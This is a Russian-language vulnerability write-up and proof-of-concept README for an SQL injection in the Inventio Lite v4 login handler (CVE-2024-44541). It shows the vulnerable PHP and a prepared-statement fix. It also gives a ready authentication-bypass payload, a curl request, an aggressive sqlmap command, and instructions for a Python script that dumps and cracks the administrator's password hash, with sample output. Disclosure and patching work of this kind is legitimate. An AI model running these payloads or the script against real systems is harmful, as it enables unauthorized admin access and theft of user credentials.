
Этот репозиторий описывает уязвимость SQL-инъекции в Inventio Lite v4, включая шаги эксплуатации и Python-скрипт для автоматизации атаки. В нём представлена информация об уязвимом коде, рекомендуемых исправлениях, а также о том, как извлечь и расшифровать учётные данные администратора.
Inventio Lite v4 уязвим для SQL-инъекции (SQLi) в конечной точке /action=processlogin. Эта уязвимость позволяет злоумышленникам внедрять произвольные SQL-запросы через параметр username в POST-запросах, что потенциально может привести к несанкционированному доступу и извлечению данных.
Уязвимый код выглядит следующим образом:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
Скриншот уязвимого кода:

Проблема исправлена с помощью подготовленных выражений:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
Чтобы использовать эту уязвимость, примените следующую полезную нагрузку:
пользователь -> ") or 1=1-- -
пароль -> blablalba
Пример атаки с использованием curl:
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
Для автоматизации эксплуатации и извлечения имени пользователя и хэша пароля администратора вы можете использовать предоставленный Python-скрипт sqli.py.
Вы можете клонировать этот репозиторий
git clone https://github.com/pointedsec/CVE-2024-44541
Затем установите зависимости с помощью pip
pip install -r requirements.txt
При необходимости измените следующие переменные в скрипте:
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"Затем выполните скрипт. Он выгрузит имя пользователя и хэш администратора, после чего попытается взломать хэш с помощью формата SHA1(MD5(password)).
Пример вывода:
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
Конфиденциальность: Злоумышленники могут выгрузить всю базу данных, раскрыв конфиденциальные данные, такие как учетные данные пользователей и личная информация.
Целостность: Злоумышленники могут обойти аутентификацию и получить административный доступ, что позволит им изменять или удалять данные.
Этот отчет об уязвимости был подготовлен Андресом Дель Серро. Для получения дополнительной информации свяжитесь со мной по адресу [email protected]